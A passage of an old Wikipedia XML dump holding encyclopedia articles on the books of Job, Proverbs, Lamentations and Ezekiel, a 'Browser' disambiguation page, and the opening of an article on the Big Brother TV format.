[[Exegesis]] largely concerns the question, &quot;Is misfortune always a divine punishment for something?&quot; Job's three friends argued in the affirmative, stating that Job's misfortunes were proof that he had committed some sins for which he was being punished. His friends also advanced the converse position that good fortune is always a divine reward, and that if Job would renounce his supposed sins, he would immediately experience the return of good fortune.

In response, Job asserted that he was a righteous man, and that his misfortune was therefore not a punishment for anything. This raised the possibility that God acts in capricious ways, and Job's wife urged him to curse God, and die.  Instead, Job responded with equanimity: &quot;The Lord gives, and the Lord takes away; blessed be the name of the Lord.&quot; The climax of the book occurs when God responds to Job, not with an explanation for Job's suffering but rather with a question: Where was Job when God created the world?

God's response itself may be read in a variety of ways.  Some see it as an attempt to humble Job.  Yet Job is comforted by God's appearance, and the fact that he 'saw God and lived', suggesting that the author of the book was more concerned with whether or not God is present in people's lives, than with the question of whether or not God is just. ''Job'' chapter 28 rejects these efforts to fathom divine wisdom.  

The framing story complicates the book further: in the introductory section God, during a conversation with Satan, allows Satan to inflict misery on Job and his family. The appended conclusion has God restoring Job to wealth, granting him new children, and possibly restoring his health, although this is not implied or explicitly stated. This suggests that the faith of the righteous is indeed rewarded.

=== Satan in the ''Book of Job''===
The name [[Satan]] appears in the prose prologue of ''Job'', with his usual connotation of &quot;the adversary,&quot; as a distinct being. He is shown as one of the celestial beings or &quot;sons of God&quot; before the Deity, replying to the inquiry of God as to whence he had come, with the words: &quot;from going to and fro in the earth, and from walking up and down in it&quot; (''Job'' 1:7). Both the question and the answer, as well as the dialogue that ensues, characterize Satan as that member of the divine council who watches over human activity, but with the evil purpose of searching out men's sins and appearing as their accuser. He is, therefore, the celestial prosecutor, who sees only iniquity; for he persists in his evil opinion of Job even after the man of Uz has passed successfully through his first trial by surrendering to the will of God, whereupon Satan demands another test through physical suffering (''Job'' 2:3-5). Satan challenges God by saying that Job's belief is only built upon what material goods he is given, and that his faith will disappear as soon as they are taken from him. And God accepts the challenge.

But recall that this entire story about &quot;the adversary&quot; occurs in the (very short) framing story alone, and is never alluded to in the (very long) central poem at all. Many conjecture that the framing prose was written by a different author, and from a different theological point of view, than the central poem.

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15772 Iyov - Job (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/18_job.htm Job at The Great Books] (New Revised Standard Version)
** {{biblegateway||Job}}
** [http://en.wikisource.org/wiki/Bible,_King_James,_Job Job at Wikisource] (Authorised King James Version)

*Other translations:
** [http://intermix.org/job The Trial of Job] (translation as drama with hyperlinked notes)
** [http://www.jobthemusical.co.uk The Book Of Job The Musical] (translation as musical)

Related articles:
*[http://jmm.aaa.net.au/articles/4801.htm ''Carl Jung's Answer to Job Essay'':] Carl Jung's Answer to Job Essay
*[http://www.jewishencyclopedia.com/view.jsp?artid=331&amp;letter=J ''Jewish Encyclopedia'':] Job; ''Book of Job''
*[http://www.ccel.org/e/easton/ebd/ebd.html ''Easton's Bible Dictionary,'' 1897]: Job; ''Book of Job''
*[http://willamette.edu/~blong/BookJob.html &quot;Short Articles on the Book of Job&quot;]: Bill Long
*[http://www.bookofjob.org &quot;Putting God on Trial- The Biblical Book of Job&quot;] by Robert Sutherland A complete online commentary.
*[http://www.newadvent.org/cathen/08413a.htm Job at the Catholic Encyclopedia]

[[Category:Ketuvim|Job, Book of]]
[[Category:Old Testament books|Job]]

[[cs:Kniha Jób]]
[[de:Ijob (Buch)]]
[[eo:Ijob]]
[[fr:Livre de Job]]
[[he:ספר איוב]]
[[id:Kitab Ayub]]
[[nl:Job]]
[[ja:ヨブ記]]
[[pl:Księga Hioba]]
[[pt:Livro de Jó]]
[[sr:Књига о Јову]]
[[fi:Jobin kirja]]
[[sv:Job]]
[[zh:约伯记]]</text>
    </revision>
  </page>
  <page>
    <title>Browser</title>
    <id>4387</id>
    <revision>
      <id>22745834</id>
      <timestamp>2005-09-07T03:16:37Z</timestamp>
      <contributor>
        <username>Reinyday</username>
        <id>100726</id>
      </contributor>
      <comment>link addition</comment>
      <text xml:space="preserve">''Note: Browse and Browsing redirect here.''

'''Browser''' can refer to:

* '''Browser''' - a type of [[herbivore]] whose nutrition generally comes from high growing plants, like trees, rather than a [[graze]]r that eats from the ground. [[Deer]] and [[goat]]s are domesticated browsers, and [[elephant]]s and [[giraffe]]s are wild browsers. 
* A [[shopping]] browser, someone who is only looking with no definite intent to buy. Such a person could be window shopping, meaning outside of the [[retailer|shop]], or inside, just &quot;looking around&quot;.
* [[Code browser]] - an application used to access code units (e.g., [[class (computer science)|class]]es and [[Method (computer science)|method]]s) in a [[computer program]]
* [[File browser]] - an application used to access information on a [[file system]]
* [[Help browser]] - an application used to access help information, typically within an [[operating system]]
* [[Web browser]] - an application used to access information on the [[World Wide Web]]

{{disambig}}

[[de:Browser]]
[[nl:Browser]]
[[ja:&amp;#12502;&amp;#12521;&amp;#12454;&amp;#12470;]]
[[vi:Trình duy&amp;#7879;t web]]
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  </page>
  <page>
    <title>Book of Proverbs</title>
    <id>4388</id>
    <revision>
      <id>42031136</id>
      <timestamp>2006-03-03T09:14:21Z</timestamp>
      <contributor>
        <username>Fivetrees</username>
        <id>136093</id>
      </contributor>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Proverbs''' is a book of the [[Tanakh]]/[[Old Testament]].  It is a collection of moral and philosophical [[maxim (saying)|maxim]]s on a wide range of subjects presented in a poetic form. This book sets forth a philosophy of practical life, and is a compilation and adaptation of common sayings.  It is clear that the author of the book gathered and recast many [[proverb]]s which sprang from human experience in preceding ages and were floating past him on the tide of time, and that he also elaborated many new ones from the material of his own experience. And it is very possible that the book of Proverbs developed somewhat over time, with latter editors adding sayings as they went along. 

This book is usually divided into three parts:
#ch. 1 &amp;ndash; 9, which contain an exhibition of [[wisdom]] as the highest good.
#ch. 10 &amp;ndash; 24, a collection of &quot;the proverbs of [[Solomon]]&quot; 
#ch. 25 &amp;ndash; 29, another collection of &quot;proverbs of Solomon which the men of [[Hezekiah]] king of [[Kingdom of Judah|Judah]] copied&quot;

These are followed by three supplements
#&quot;The words of Agur&quot; (ch. 30); and
#&quot;The words to king Lemuel&quot; (ch. 31,1&amp;ndash;9).
#The praise of the good wife, [[Eishes Chayil]] (ch. 31,10&amp;ndash;31)

The tradition ascribing some proverbs to Solomon, described as &quot;without valid foundation&quot; in the ''Jewish Encyclopedia,'' 1901-06, continued nevertheless to be uncritically accepted among many Christians, who aver that Solomon is said to have written three thousand proverbs, and those contained in this book may be a selection from these ([[Books of Kings|1 Kings]] 4:32).

[[Jew]]ish tradition attributes the entire book to &quot;the men of Hezekiah&quot;, as attested by the word &quot;too&quot; in the verse, &quot;these ''too'' are the proverbs of Solomon which&quot; etc. (25:1). (Source: Babylonian [[Talmud]], tractate Bava Bathra 15a).

In the [[New Testament]] there are thirty-five direct quotations from this book or allusions to it.

Quotes:

`I am Wisdom, I am better than jewels, Nothing you want can compare with me.(8:11)

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15771 Mishlei - Proverbs (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/20_proverbs.htm Proverbs at The Great Books] (New Revised Standard Version)
** [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;version=NIV&amp;passage=proverbs Proverbs at Bible Gateway] (Various versions)


Related articles:
* [http://www.jewishencyclopedia.com/view.jsp?artid=565&amp;letter=P ''Jewish Encyclopedia'':] Proverbs, with dates of compilation and manuscript traditions
* [http://www.plymouthbrethren.org/passage.asp Proverbs from the Biblical Resource Database]
 


-----
{{eastons}}

[[Category:Ketuvim|Proverbs, Book of]]
[[Category:Old Testament books|Proverbs]]

[[ang:Cwidbóc]]
[[de:Buch der Sprichwörter]]
[[fr:Livre des Proverbes]]
[[ko:잠언]]
[[id:Amsal]]
[[it:Libro dei proverbi]]
[[he:משלי]]
[[jv:Wulang Bebasan]]
[[nl:Spreuken]]
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  </page>
  <page>
    <title>Book of Lamentations</title>
    <id>4389</id>
    <revision>
      <id>39926059</id>
      <timestamp>2006-02-16T21:45:58Z</timestamp>
      <contributor>
        <ip>66.92.67.96</ip>
      </contributor>
      <text xml:space="preserve">''For the musical setting of verses from Lamentations, see [[Lamentations (music)]].
''
{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Lamentations''' ([[Hebrew language|Hebrew]] &amp;#1502;&amp;#1490;&amp;#1497;&amp;#1500;&amp;#1514; &amp;#1488;&amp;#1497;&amp;#1499;&amp;#1492;) is a book of the [[Bible]] [[Old Testament]] and [[Judaism|Jewish]] [[Tanakh]].

It is called in the Hebrew canon '' 'Ekhah,'' meaning &quot;How,&quot; being the formula for the commencement of a song of wailing. It is the first word of the book (see 2 Sam. 1:19-27). The [[Septuagint]] adopted the name rendered &quot;Lamentations&quot; (Greek ''threnoi'' = Hebrew ''qinoth'') now in common use, to denote the character of the book, in which the prophet mourns over the desolations brought on Jerusalem and the Holy Land by the Chaldeans. In the Hebrew Bible it is placed among the [[Ketuvim]], the ''Writings''. 

According to tradition, authorship is assigned to the [[Prophet]] [[Jeremiah (prophet)|Jeremiah]], who was a court official during the conquest of [[Jerusalem]] by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]], when the  [[Temple in Jerusalem|First Temple]] was destroyed and [[Jehoiachin|King Jehoiachin]] was taken prisoner (cf. Is 38 ff and Is 52). In the [[Septuagint]] and the [[Vulgate]] the Lamentations are placed directly after the Prophet. 

It is said that he retired to a cavern outside the Damascus gate, where he wrote this book. That cavern is still pointed out. &quot;In the face of a rocky hill, on the western side of the city, the local belief has placed 'the grotto of Jeremiah.' There, in that fixed attitude of grief which Michael Angelo has
immortalized, the prophet may well be supposed to have mourned the fall of his country&quot; (Stanley, Jewish Church).

However, the strict acrostic style of four of the five poems is not found at all in the [[Book of Jeremiah]] itself, and authorship of the Prophet is disputed. The work is probably based on the older Mesopotamian genre of the [[city lament]], of which the [[Lament for Ur]] is among the oldest and best-known.

The book consists of five separate poems. In chapter 1 the prophet dwells on the manifold miseries oppressed by which the city sits as a solitary widow weeping sorely. In chapter 2 these miseries are described in connection with the national sins that had caused them. Chapter 3 speaks of hope for the people of God. The chastisement would only be for their good; a better day would dawn for them. Chapter 4 laments the ruin and desolation that had come upon the city and temple, but traces it only to the people's sins. Chapter 5 is a prayer that Zion's reproach may be taken away in the repentance and recovery of the people.

The first four poems (chapters) are [[acrostic|acrostics]], like some of the Psalms (25, 34, 37, 119), i.e., each verse begins with a letter of the Hebrew alphabet taken in order. The first, second, and fourth have each twenty-two verses, the number of the letters in the Hebrew alphabet. The third has sixty-six verses, in which each three successive verses begin with the same letter. The fifth is not acrostic, but also has twenty-two verses.

Speaking of the &quot;Wailing-place (q.v.) of the Jews&quot; at Jerusalem, a portion of the old wall of the [[Temple in Jerusalem|Herod's Temple]], Schaff says: &quot;There the Jews assemble every Friday afternoon to bewail the downfall of the holy city, kissing the stone wall and watering it with their tears. They repeat from their well-worn Hebrew Bibles and prayer-books the Lamentations of Jeremiah and suitable Psalms.&quot;

Readings, chantings, and choral settings, of the book of Lamentations, are used in the Christian religious service known as the [[Tenebrae (Maundy)|tenebrae]] (latin for ''darkness'').

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15781 Eichah - Lamentations - Job (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/25_lamentations.htm Lamentations at The Great Books] (New Revised Standard Version)
** {{biblegateway||Lamentations}}

*[http://www.phy6.org/outreach/Jewish/TishaAv2.htm The book of Lamentations and Biblical poetry] &amp;nbsp; (talk)
{{eastons}}

[[Category:Ketuvim|Lamentations, Book of]]
[[Category:Old Testament books|Lamentations]]

[[cs:Kniha Pláč]]
[[de:Klagelieder Jeremias]]
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[[ko:예레미야애가]]
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  </page>
  <page>
    <title>Book of Ezekiel</title>
    <id>4390</id>
    <revision>
      <id>41928797</id>
      <timestamp>2006-03-02T18:10:25Z</timestamp>
      <contributor>
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        <id>28438</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.33.9.125|71.33.9.125]] ([[User talk:71.33.9.125|talk]]) to last version by DabMachine</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
{{dablink|This article is about the ''Book of Ezekiel''. See also [[Ezekiel]], the prophet . For other meanings, see [[Ezekiel (disambiguation)]].}}

The '''Book of Ezekiel''' is a book of the Jewish [[Hebrew Bible]] as well as the Christian [[Old Testament]], attributed to the prophet [[Ezekiel]] ('''&amp;#1497;&amp;#1456;&amp;#1495;&amp;#1462;&amp;#1494;&amp;#1456;&amp;#1511;&amp;#1461;&amp;#1488;&amp;#1500;''' &quot;[[Elohim|God]] will strengthen&quot;, [[Standard Hebrew]] '''Y&amp;#601;&amp;#7717;ezqel''', [[Tiberian Hebrew]] '''Y&amp;#601;&amp;#7717;ezqêl''') who is regarded by both Jews and Christians as a [[prophet]].

 
==The author Ezekiel==
:''Main article [[Ezekiel]]''.
What little personal information is presented in the text about the prophet is discussed at [[Ezekiel]].  We do know he was a priest in the temple at [[Jerusalem]], the son of a priest, and that he had a wife prior to being carried off in the Jewish exile of 597 BCE, at age 26.  

=== His mission ===
With the exile, monarchy and state were annihilated, and a political and national life was no longer possible. In the absence of a worldly foundation it became necessary to build upon a spiritual one. This mission Ezekiel performed by observing the signs of the time and by deducing his doctrines from them. In conformity with the two parts of his book his personality and his preaching are alike twofold. The events of the past must be explained. although God has permitted his city and Temple to be destroyed, and his people to be led into exile.

Nonetheless, Ezekiel holds that God is not betraying his people. He asserts that God was compelled to do this because of the sins of the people. Nevertheless, there is no reason to despair for God does not desire the death of the sinner, but his reformation. The Lord will remain the God of Israel, and Israel will remain his people. As soon as Israel recognizes the sovereignty of the Lord and acts accordingly, God will restore the people, in order that they may fulfill their eternal mission and that He may truly dwell in the midst of them. This, however, can not be accomplished until every individual reforms and makes the will of the Lord his law.

=== Resurrection of the dead ===
Ezekiel writes about a resurrection of the dead in chapter 37. As early as the second century, however, some authorities declared this resurrection of the dead was a prophetic vision: an opinion regarded by [[Maimonides]] (''Guide for the Perplexed'', II:46) and his followers as the only rational explanation of the Biblical passage.

 
==Authorship==
There have been a number of debates that have surrounded this book over the centuries.  For the most part there has been little question of the authenticity of the book, or its authorship, but rather whether it should be included in the biblical Canon.  This debate did not stem from any doubt of its inspired message, but rather the fear that the unlearned may misinterpret it.  For a time, the first chapter was not to be read in [[synagogue|synagogues]] and the private reading of the prophecy was not allowed until a person's 30th birthday.

Up until 1924, no one had questioned the authorship of the book of Ezekiel.  For many, it seems clear that the book was written by one person, expressing one train of thought and style.  However, in 1924 a theory was developed that 1,103 of the verses in Ezekiel were added at a later date.

Since then, the academic community has been split into a number of different camps over the authorship of the book.  W. Zimmerli, who has a rather large following, proposes that Ezekiel's original message was influenced by a later school that added a deeper understanding to the prophecies.  Other groups, like the one led by M. Greenberg, still tend to see the majority of the work of the book done by Ezekiel himself.

==The purpose of the book==
The book of Ezekiel is a record of the prophesying of Ezekiel who delivered these oracles and prophecies orally at first.  Most people accept that Ezekiel did play a part in the written record of these visions, possibly with the help of scribes or followers. The book, which is split into three sections based on the time they were written, was mostly written by Ezekiel himself.  Ezekiel's writing is one of the most sophisticated of all of the Old Testament [[prophet|Prophets]].  This stems from his training as a priest for the temple, as well as his experience in ministering to the elite members of the nation of [[Kingdom of Judah|Judah]].

Ezekiel's writing is made up of three distinct levels: an oracle, a continuation and a closing oracle.  The first two layers are related in their writing style and are both attributed to Ezekiel himself.  The third level, however, tends to be different from the first two, and as such is attributed to others who were interested in preserving and updating his work.

The book does show many examples of editing done over a period of time by both Ezekiel and others. Most of this work was simply rearranging the order of the oracles to fit the time period to which they applied.

== Date ==
The ''Book of Ezekiel'' can be dated due to Ezekiel's recording of events based on the rule of King [[Jehoiachin]] (King of [[Jerusalem]]).  Ezekiel's records makes it possible to accurately date his life and his time of prophecy due to these references to the reigns of kings.

''Ezekiel'' was originally written in the 25 year period between 593 to 571 B.C. The book seems to be written in two different time periods during Ezekiel's 25 years of prophecy.  The first section which is aimed at the upper class of Judah was written between from 593 to 586 B.C. The second section, which runs from 586 to 571, deals with his oracles of salvation for the people.

The text records numerous events that allow us to estimate their time in history. The following table lists events in ''Ezekiel'' with their approximate dates.

{|
|+Dates of Book of Ezekiel
|-
! Event !! Verse Reference !! Date
|-
| Chariot Vision || [http://www.biblegateway.com/passage/index.php?search=ezekiel%201:1-3&amp;version=49 1:1-3] ||  June 593 B.C.
|-
|  Call to be a Watchman || [http://www.biblegateway.com/passage/?search=ezekiel%203:16;&amp;version=49; 3:16] ||  June 593
|-
|  Temple Vision ||[http://www.biblegateway.com/passage/?search=ezekiel%208:1;&amp;version=49; 8:1] || August/September 592
|-
| Discourse with Elders || [http://www.biblegateway.com/passage/?search=ezekiel%2020:1;&amp;version=49; 20:1] || August 591
|-
| Second [[Siege]] of [[Jerusalem]]  || [http://www.biblegateway.com/passage/?search=ezekiel%2024:1;&amp;version=49; 24:1] || January 588
|-
| Judgment on Tyre || [http://www.biblegateway.com/passage/?search=ezekiel%2026:1;&amp;version=49; 26:1] ||  March/April 587/586
|-
| Judgment on [[Egypt]] || [http://www.biblegateway.com/passage/?search=ezekiel%2029:1;&amp;version=49; 29:1] || January 587
|-
|  Judgment on [[Egypt]] || [http://www.biblegateway.com/passage/?search=ezekiel%2029:17;&amp;version=49; 29:17] || April 571
|-
| Judgment on [[Egypt]] || [http://www.biblegateway.com/passage/?search=ezekiel%2030:20;&amp;version=49; 30:20] || April 587
|-
| Judgment on [[Egypt]] || [http://www.biblegateway.com/passage/?search=ezekiel%2031:1;&amp;version=49; 31:1] || June 587
|-
|  Lament over [[Pharaoh]] || [http://www.biblegateway.com/passage/?search=ezekiel%2032:1;&amp;version=49; 32:1] ||  March 585
|-
| Lament over [[Egypt]] || [http://www.biblegateway.com/passage/?search=ezekiel%2032:17;&amp;version=49; 32:17] || April 586
|-
| Fall of [[Jerusalem]] || [http://www.biblegateway.com/passage/?search=ezekiel%2033:21;&amp;version=49; 33:21] || December/January 586/85
|-
| New Temple Vision || [http://www.biblegateway.com/passage/?search=ezekiel%2040:1;&amp;version=49; 40:1] || April 573
|}

== Ezekiel's hearers ==

The ''Book of Ezekiel'' was written for the Israelites living in exile in [[Babylon]]. Up to now their custom was to [[worship]] their [[God]], in the temple in [[Jerusalem]]. Exile raised important theological questions. How they asked, could they worship Yahweh when they were now in a distant land. Was their God still available to them they asked. Ezekiel speaks to this problem. He first explains that their exile is a punishment for disobedience and he offers hope to the exiles once they return to Yahweh. The Book of Ezekiel is a message of hope to those desperately in need.

The author points to a day when Judah and Israel would once more be restored to their land. Borrowing heavily from earlier [[Prophet|prophets]] and books, [[Ezekiel]] sought to comfort the people with the knowledge of a neverending covenant with Yahweh. He preached to them a new understanding in their time of exile. He shows them that God was still in control of the situation. [[Ezekiel]] used his own life and his relationship with God as an example.

== Content ==

''Ezekiel'' contains three distinct sections.
# Judgment on Israel - Ezekiel makes a series of denunciations against his fellow Judeans ( [http://www.biblegateway.com/passage/?search=ezekiel%203:22-24;&amp;version=49; 3:22-24]), warning them of the certain destruction of [[Jerusalem]], in opposition to the words of the false prophets ([http://www.biblegateway.com/passage/?search=ezekiel%204:1-3;&amp;version=49; 4:1-3]). The symbolic acts, by which the extremities to which Jerusalem would be reduced are described in [http://www.biblegateway.com/passage/?search=ezekiel%204-5;&amp;version=49; Chapters 4 and 5], show his intimate acquaintance with the Levitical legislation. (See, for example, [[Exodus]] [http://www.biblegateway.com/passage/?search=Exodus%2022:30;&amp;version=49; 22:30]; [[Deuteronomy]] [http://www.biblegateway.com/passage/?search=Deut%2014:21;&amp;version=49; 14:21]; [[Leviticus]] [http://www.biblegateway.com/passage/?search=Lev%205:2;&amp;version=49; 5:2]; [http://www.biblegateway.com/passage/?search=Lev%207:18,24;&amp;version=49; 7:18,24]; [http://www.biblegateway.com/passage/?search=Lev%2017:15;&amp;version=49; 17:15]; [http://www.biblegateway.com/passage/?search=Lev%2019:7;&amp;version=49; 19:7]; [http://www.biblegateway.com/passage/?search=Lev%2022:8;&amp;version=49; 22:8])
# Prophecies against various neighboring nations: against the [[Ammon]]ites ( [http://www.biblegateway.com/passage/?search=Ezekiel%2025:1-7;&amp;version=49; Ezek. 25:1-7]), the [[Moab]]ites ( [http://www.biblegateway.com/passage/?search=Ezekiel%208-11;&amp;version=49; 25:8-11]), the [[Edom]]ites ( [http://www.biblegateway.com/passage/?search=Ezekiel%2012-14;&amp;version=49; 25:12-14]), the [[Philistines]] ( [http://www.biblegateway.com/passage/?search=Ezekiel%2015-17;&amp;version=49; 25:15-17]), [[Tyre]] and [[Sidon]] ( [http://www.biblegateway.com/passage/?search=Ezekiel%2026-28;&amp;version=49; 26-28]), and against [[Egypt]] ([http://www.biblegateway.com/passage/?search=Ezekiel%2029-32;&amp;version=49; 29-32]).
# Prophecies delivered after the destruction of Jerusalem by [[Nebuchadnezzar II]]: the triumphs of Israel and of the kingdom of God on earth ( [http://www.biblegateway.com/passage/?search=Ezekiel%2033-39;&amp;version=49; Ezek. 33-39] ); Messianic times, and the establishment and prosperity of the kingdom of God ( [http://www.biblegateway.com/passage/?search=Ezekiel%2040;48;&amp;version=49; 40-48]).

Ezekiel did much of his prophecizing through his actions.  Instead of  preaching to the people an oral message God instructed him to live out his message in various ways. His actions were interpreted as having unique and specific meanings. For example, he does various things like sketches Jerusalem on a brick ( [http://www.biblegateway.com/passage/?search=Ezekiel%204:1-3;&amp;version=49; Ezek. 4:1-3]), Lies on left side for 390 days and right side for 40 ( [http://www.biblegateway.com/passage/?search=Ezekiel%204:4-8;&amp;version=49; Ezekiel 4:4-8] ), Shaves his head with a sword, weighs and divides the hair, burning a portion of it, smiting a second portion with a sword and scattering the third portion to the winds ( [http://www.biblegateway.com/passage/?search=Ezekiel%205:1-12;&amp;version=49; Ezek. 5:1-12]), Digs his way through a wall and takes an exile's baggage with him ( [http://www.biblegateway.com/passage/?search=Ezekiel%2012:1-12;&amp;version=49; Ezek. 12:1-12]), Marks out a route for the Babylonian army with a crossroads that forces the king to cast lots to decide which road to take ([http://www.biblegateway.com/passage/?search=Ezekiel%2012:18-23;&amp;version=49; Ezek. 21:18-23]), and loses his wife in death ([http://www.biblegateway.com/passage/?search=Ezekiel%2025:15-24;&amp;version=49; Ezek. 25:15-24]).

The closing visions of this book are referred to in the book of [[Revelation]]
([http://www.biblegateway.com/passage/?search=Ezekiel%2038;&amp;version=49; Ezek. 38] =
[http://www.biblegateway.com/passage/?search=Rev%2020:8;&amp;version=49; Rev. 20:8];
[http://www.biblegateway.com/passage/?search=Ezekiel%2047:1-8;&amp;version=49; Ezek. 47:1-8] =
[http://www.biblegateway.com/passage/?search=Rev%2022:1-2;&amp;version=49; Rev. 22:1,2]).
Other references to this book are also found in the [[New Testament]].
(Compare Epistle to the [http://www.biblegateway.com/passage/?search=Rom%202:24;Ezek%2036:22;&amp;version=49; Romans 2:24 with Ezek. 36:22]; [http://www.biblegateway.com/passage/?search=Rom%2010:5;Gal%203:12;Ezek%2020:11;&amp;version=49; Rom. 10:5, Galatians 3:12 with Ezek. 20:11]; [http://www.biblegateway.com/passage/?search=2%20Peter%203:4;Ezek%2012:22;&amp;version=49; 2 Peter 3:4 with Ezek. 12:22].)

According to traditionalists, [[Daniel]], fourteen years after his deportation from Jerusalem, is mentioned by Ezekiel (14:14) along with [[Noah]] and [[Job (person)|Job]] as distinguished for his righteousness, and some five years later he is spoken of as pre-eminent for his wisdom (28:3). However, a &quot;Daniel&quot; also appears in ancient Ugaritic texts, Daniel isn't specifically described as a contemporary (indeed, the phrase &quot;Noah, Daniel and Job&quot; implies otherwise), and the [[Book of Daniel]] is widely regarded by modern scholars as having been written centuries later.

Ezekiel refers to the [[Pentateuch]] (e.g., Ezek. 27; 28:13; 31:8; 36:11, 34; 47:13, etc.) quite often, and shows on a number of occasions that he is familiar with the writings of [[Hosea]] (Ezek. 37:22), [[Isaiah]] (Ezek. 8:12; 29:6), and especially with those of [[Jeremiah (prophet)|Jeremiah]], his older contemporary ([[Book of Jeremiah|Jeremiah]] 24:7, 9; 48:37).

==Translations and commentaries on the book of Ezekiel==



===On-line translations and commentaries===
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=16098 Yechezkiel - Ezekiel] from Chabad.org

*[[Christian]] translations:
** [http://www.biblegateway.com/passage/?search=ezekiel;&amp;version=49; ''Ezekiel'' at BibleGateway.com] (Various translations)

==References==
* ''Easton's Bible Dictionary'', 1897.
* LaSor, William Sanford et al. ''Old Testament Survey: the Message, Form, and Background of the Old Testament''. Grand Rapids: William B. Eerdmans, 1996.
* Allen, Leslie C. ''Word Biblical Commentary Volume 28: Ezekiel 1-20''. Word Books Publisher: Dallas TX, 1990
* Allen, Leslie C. ''Word Biblical Commentary Volume 29: Ezekiel 20-48''. Word Books Publisher: Dallas TX, 1990

==External links==
* [http://www.jewishencyclopedia.com/view.jsp?artid=563&amp;letter=E&amp;search=Ezekiel ''Jewish Encyclopedia'']: ''Book of Ezekiel''
* [http://www.kabbalah.info/engkab/shamati_eng/index_shamati_eng.htm ''Shamati''] a book by [[Yehuda Ashlag|Rabbi Yehuda Ashlag]]
*[http://www.sentex.net/~tcc/fezek.html Douglas E. Cox &quot;Ezekiel's firmament&quot; 1996]

[[Category:Nevi'im|Ezekiel]]
[[Category:Old Testament books|Ezekiel]]
[[Category:Tanakh prophets|Ezekiel]]

[[cs:Kniha Ezechiel]]
[[de:Ezechiel]]
[[fr:Livre d'Ézéchiel]]
[[ko:에제키엘 (구약성서)]]
[[id:Yehezkiel]]
[[he:ספר יחזקאל]]
[[jv:Yehezkiel]]
[[nl:Ezechiël]]
[[no:Esekiels bok]]
[[ja:エゼキエル書]]
[[pl:Księga Ezechiela]]
[[fi:Hesekielin kirja]]
[[sv:Hesekiel]]
[[zh:以西結書]]</text>
    </revision>
  </page>
  <page>
    <title>Big Brother (TV series)</title>
    <id>4391</id>
    <revision>
      <id>41604667</id>
      <timestamp>2006-02-28T13:13:48Z</timestamp>
      <contributor>
        <ip>83.32.190.2</ip>
      </contributor>
      <comment>Deleted as there has been other couples in BB.</comment>
      <text xml:space="preserve">'''''Big Brother''''' is a popular [[reality television]] format, where, over 15 weeks or so, a number of contestants (typically 12) try to avoid periodic publicly-voted evictions from a communal house and hence win a cash prize. The show, a kind of 'real life soap', was invented by [[John de Mol]] of the [[Netherlands]] and developed by his production company, [[Endemol]]. It has been a prime-time hit in almost 70 different countries, earning Endemol large sums. The show's name comes from [[George Orwell]]'s 1949 novel ''[[Nineteen Eighty-Four]]'', a [[dystopia]] in which [[Big Brother (1984)|Big Brother]] is the all-seeing leader.

==Format==

Originally shown in the [[Netherlands]] in September [[1999]], and subsequently cloned across the world, the &quot;housemates&quot; are confined inside a specially designed house where every single point in the house is within view of a video camera, and not permitted any contact with the outside world (although some versions, like the ones from [[Philippines]], [[Mexico]], [[Germany]] or [[Spain]] have introduced in some seasons precise changes, allowing the contact with the outside in certain situations): no TV, radio, telephone, Internet or other media are available to the housemates, not even writing materials. Private chats with a psychologist are a special exception. At weekly intervals, the public is invited to vote to evict one of the contestants. The last remaining is the winner.

Besides the same living together, which is the principal axis and major attraction of the contest, this one turns concerning 4 basic props: the stripped-bare back to basics environment in which they live, the evictions system, the weekly tasks set by ''Big Brother'', and the &quot;diary room&quot;, in which the housemates individually convey their thoughts, feelings, frustrations and their eviction nominees.

Initially, the hostel in which they had to reside for the duration of the competition was very basic. Although essential amenities such as running water, furniture and a limited ration of food were provided, luxury items were forbidden. This added an element of survival into the show, thus increasing the potential for tensions within the house. Now almost every country has a modern house for the contest, with jacuzzi, sauna, VIP suite, etc. in contraposition to other zones, or characteristics, of the house, more common, even precarious.

To fill in time, the residents have various chores to maintain the house, and are set apparently random tasks by the producers of the show, who communicate with the housemates through one (unseen) individual issuing commands, termed &quot;Big Brother&quot;. The tasks are designed to test their team-working abilities and community spirit. The housemates have a weekly allowance with which they can buy food and other essentials. To obtain a greater allowance, they may gamble some of their initial amount on the success of the completion of tasks. Of course, their allowance is lessened if they fail to complete the weekly task.

Each week, the housemates each privately nominate a number of people who they wish to see removed from the house more than the other residents. The ones with the most nominations are then named on the television show, and viewers can vote for whom they want to be evicted.

After the votes are tallied, the &quot;evictee&quot; leaves the house and is interviewed on-camera by the host of the show, usually in front of a live studio audience. The last remaining housemate is declared the winner and receives a substantial sum in prize money, the amount of which has varied widely around the world.

The series is notable for involving the [[Internet]]. Although the main show, typically broadcast daily with a weekly roundup, is by necessity heavily edited, viewers can also watch a continuous, 24-hour feed from multiple cameras on the web. These websites were highly successful, even after some national series started charging for access to the video stream. In some countries, the Internet broadcasting was supplemented by updates via email, [[WAP]] and [[Short message service|SMS]]. The house is even shown live on satellite television (with a 10-15 minute delay to permit muting of unacceptable content in the UK).

Despite derision from many intellectuals and other critics, the show has been a commercial success around the world. Criticisms typically are based on the ironic aspects of [[George Orwell]]'s dystopic vision of [[Nineteen Eighty-Four]] being consciously aped by producers for public entertainment. More generally, the voyeuristic nature of the show, where contestants volunteer to surrender their privacy in return for minor celebrity status and a comparatively small cash prize, has attracted much scorn.

